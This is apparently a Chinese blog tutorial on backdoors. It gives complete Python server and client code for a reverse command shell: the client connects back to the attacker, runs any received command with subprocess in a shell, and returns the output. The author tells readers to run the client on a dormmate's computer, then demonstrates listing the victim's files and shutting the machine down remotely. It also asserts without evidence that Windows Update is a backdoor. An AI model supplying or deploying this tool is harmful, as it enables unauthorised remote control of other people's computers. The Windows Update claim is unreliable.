系统安全:后门

后门(backdoor)。

 

在日常生活中,我们通常会说“走后门”这个词。何为后门?就是不是前面的门!这是废话,但是含义颇深。前门,或者说正门,可以用来光明正大的做事,迎宾,娶妻等等。而后门不同,它不是给别人看的,比如什么什么的(都说了不是给外人看的)。

 

举个不那么恰当的例子,小孩a,爸爸A。小孩要上学,学业不好,进不了特别好的学府。我们知道要进一所学校,需要一套标准的考核,来判定你有没有这个能力就读本学校。能力足够,你就从“正门”进。

 

不够呢?嗯,没事A和校长B关系不错,a还是进去了。这个就叫做“走后门”。

 

“前门”犹如“木叶”,“后门”亦为“根”。

 

在计算机中,后门一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。既然它不安全,为什么我们还要用它呢。

 

因为在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。方便了软件开发者的同时,也会埋下隐患,例如在发布软件的时候有个小后门被忽略掉了忘记了清除,还恰恰被有技术的人员掌握了,那这些人就能直接获得一些系统权限执行某些不安全的操作,这就形成了一个安全漏洞。(然后用户反馈,公司修改,用户升级.....loop)

 

我们经常说的防火墙,它用于拦截用户从外部访问服务器,并不会阻断用户从内部向外部访问路径。这也是后门可以“绕过”的原因所在。

 

其实如果硬要把后门分类,不能归于“病毒”,它和“木马”更贴切些。说道木马,我们来谈谈它的由来。没错,就是那场把士兵藏到木马中带进城堡里,晚上发动攻击,从内部破城的特洛伊战争。

 

正常进入城堡的方式是直接从大门走进去,但是你是敌人,会被“侯友根”掉。所以需要把你放进木马里带进去。

 

计算机木马的名字就由来于此,先把自己隐藏起来,不被你的安全措施“阿杜跟”掉,再等待时机出来发动攻击。它并不像计算机病毒那样会一直复制。

 

利用后门,最麻烦的是向目标系统安装后门。需要各种伪装,绕过。这也不是本篇文章的介绍内容,不过别灰心,从这篇文章里可以了解到后门攻击的原理过程,最后我们会讨论一个事情,看看我们最常见的后门。

 

编程语言python3,所用module:socket,subprocess(2.4以后的版本应该都没有问题)。

 

又是python,为什么我对python倾爱有佳呢。一是因为用的多比较熟悉,二来我喜欢它随意的性格,就是怎么写都行。一种“别人笑我太疯癫,我笑他人看不穿”的感觉。

 

还有一条重要的原因,请看下图:

 

c语言创始人:丹尼斯·麦卡利斯泰尔·里奇(Dennis MacAlistair Ritchie)

                                                                   

 

c++创始人:Bjarne Stroustrup

                                                

 

java创始人:詹姆斯·高斯林(James Gosling)

 

                                         

 

如果不明白我要说明什么问题,请注意三张图中额头以上本该生长些什么的部位。

 

那么我们来看python创始人:Guido van Rossum

                                               

 

嗯,人生苦读,我用python。(笑)

 

闲话扯完,进入正题。

 

后门程序由服务器端和客户端组成,在前面的文章里我写过一个编写聊天工具的系列。关于一些计算机网络基础在其中有涉及,这里不再重复。

 

传送门:https://blog.csdn.net/qq_41500251/article/details/90114802

 

后门的服务器端(以下用server)运行在你自己的电脑上,客户端(以下用client)放在你哥们的电脑上。所以说让你别灰心,至少你可以远程把你宿舍哥们的电脑“侯友根”掉。

 

server处于运行状态,等待连接。当client启动时,让client向server发起请求连接,连接成功后,通过操纵server向client发送命令,client接收到命令,在本系统中执行,致此,完。

 

五毛特效图来了:

 

server和client的链接用socket,而执行系统命令,就用到了上面提到的subprocess。

 

先看server怎么写:

界面太丑了,先截个图:

                      

 

socket的最基本的用法在聊天工具系列里有设计,不详细解释。

 

里面的ip记得换成自己相应适配器的ip,查看方式也有提,命令行:ipconfig /all(windowns)

 

除了必要的链接步骤,就是一些提示信息。

 

我们直接看循环里的内容,也就是将命令发送过去,注意我们这里说的命令是相对于系统而言的,对于编程语言来说,我们发过去的就是string。

 

聊天工具系列说到,send的是字节流,为了发过去的string不出现乱码情况,发送前先encode。那边收到了再decode回来。

 

除此之外,我们设置退出条件quit,对于server当然就是退出循环了,退出循环之后就会执行连接的close。相应的client在接收到quit字符串的时候,也执行close,这样两个进程就可以完美的结束了。

 

server还要接收client返回的命令完成情况。因此每次发送完命令后,再接收并显示出返回信息。recv的字节参数可以设置的大些,2048其实已经够大了,多数命令的返回消息都没那么多。(dir除外)

 

import socket

#create object
s = socket.socket()
#process information
ip_port = ('192.168.1.117', 55555)
#bind listen
s.bind(ip_port)
s.listen(5)
#show something about prompt
print('Server running!!!')
#get connection
conn, addr = s.accept()
#show information about connection
print('Connected by ', addr)
#input command in loop
while True:
    command = input('Input command:')
    conn.send(command.encode())
    if command == 'quit':
        break
    print(conn.recv(2048).decode())
#close connect
conn.close()

 

server结束,来看client,稍稍复杂些。

    

 

绕过建立链接(ip_port对应就可以),提示信息不说,直接看循环里面的东西。

 

首先接收server发过来的命令(string type),不要忘记decode。quit条件自己填。

 

回想client的逻辑,接收到命令后,执行就完了。这里subprocess就要出动了(系统命令也可也用OS 这个module,喜欢的可以去试试,subprocess功能更全面一些)。

 

subprocess的Popen方法用来执行系统命令,其中的几个参数:

1.所执行的系统命令(string type)

2.shell参数,当为True时,表示在shell中执行命令。default false。

3....我们需要命令执行完毕后的信息,所以需要其余的参数,标准输入输出,错误等,指定为subprocess的PIPE类型,创建负责输入、输出以及错误信息的管道,保证进程之间的通信。

 

执行完毕后,我们把消息整合stdout_value,这个就是我们需要返回的消息。它也是字节流类型,当你将它用gbk解码后,就可以看到中文字符了。这个就是我们要返回去的string,string怎么返回?先encode再send,接收端接收到后再decode回来。

import socket, subprocess

#hacker server information
ip_port = ('192.168.1.117', 55555)
#create objet
s = socket.socket()
#connect
s.connect(ip_port)
#show something about prompt
print("Client running")
#Got command and run them in loop
while True:
    data = s.recv(1024).decode()
    if data == "quit":
        break
    #function popen, create subprocess,
    #data, Specify commands
    #shell, command run in shell when it's true
    #以下需要中文解释,太复杂了,而且.....我英文水平just so so......
    #popen函数用于执行系统命令,linux系统需要添加executable参数,并指定shell
    #创建负责输入,输出,以及错误信息的管道,保证进程之间通信顺畅
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    #combin stdout information
    stdout_value = proc.stdout.read() + proc.stderr.read()
    #some special command like: msg cd etc.
    if stdout_value == b'':
        s.send("OK".encode())
    #send process information back to server
    s.send(stdout_value.decode('gbk').encode())
#close connect
s.close()

致此,全部结束。

 

留了个小东西,client循环中有个stdout_value的判断条件,判断是否为b‘’。

 

什么意思呢?当我们在命令行中输入命令执行后,执行结果就会显示出来,比如dir,显示当前目录。但是有些命令是没有返回结果(标准输出)的,比如msg,cd d:等等命令,这些都不会在命令行中显示东西,也就是stdout为空,我们说了他是字节流,所以是b‘’,这时我们给server返回个OK,server接受到后,也会如实的print出来OK。

 

有必要吗?有!

 

在前面那个系列里我们说过,执行到recv这个方法时,程序会挂起,它就和input一样。不给值就不会往下走。

 

举个例子,server send命令cd d:,然后recv挂起程序,等待接收。client收到cd d:执行完毕,但是并没有stdout,client会send一个空字节流,啥意思?就是啥也没有。

 

反过来看server,server还在等着回馈,但是client已经进入到下一次的循环等待下条命令了。这就完了,server被卡住了。

 

所以对于没有标准输出的命令,我们也返回点东西,告诉server我执行了。让server也进入到下一循环。

 

 

做个测试吧:

 

先把自己的防火墙关了,因为别人的client需要和你的server建立链接,你拒绝就不好意思了。

 

在自己PC上运行server:

 

                

等待连接。

 

把client放到你宿舍哥们的电脑上,点击运行起来。(还是同样的要求,需要连接到同一个LAN里面,如果两台测试机都有公网ip就不需要考虑这些东西了。)。

server:

                       

client:

 

先让我们看看他桌面上有什么东西:

    

有个作业文件夹:

    

 

我们回到server看看能不能把这些东西显示出来。

    

执行dir命令,我们看到了目标文件夹,还有我们的后门客户端程序。

 

看看文件夹里有什么东西:

    

完全相符。

 

换一条命令,shutdown -s -t 0。

 

我们看到server返回了OK。说明执行完毕,我们看看client,额,已经不能看了,没办法截图了。

 

此时我们在server上执行quit,失败了,为什么呢?因为对面已经关机了呀,链接早已不存在了,又何谈关闭呢。

    

 

文章的最后,我们来谈论一个常见的东西,Windows update。

 

Windows Update 是现在大多数 Windows 操作系统都带有的一种自动更新工具,一般用来为漏洞、驱动和软件提供升级和更新。

开机时自启,连接到巨硬(前段时间看到篇文章,它过滤敏感词用的这样的方法:恨奇艺,腾慢。故,由归纳法可知我说的是哪位。)的官网,将计算机更新信息发送给服务器,服务器分析处理后,告诉用户哪些软件需要更新等信息。

 

也因此,毫无疑问,这就是个后门。

 

虽然公之于众的是不会搜集任何用户信息,何况谁来保证在搜集软件更新信息的时候,没有顺手带点别的东西呢?

 

(计算机开机的时候,先不要做其他的事情,命令行里执行下arp -a命令,去看看缓存里的目标ip都是哪里的)

 

完。

 

(PS:阅读中有不妥或错误之处,欢迎评论指出,我会将您的评论贴进文章里。)

发布了53 篇原创文章 · 获赞 80 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/qq_41500251/article/details/94772112
今日推荐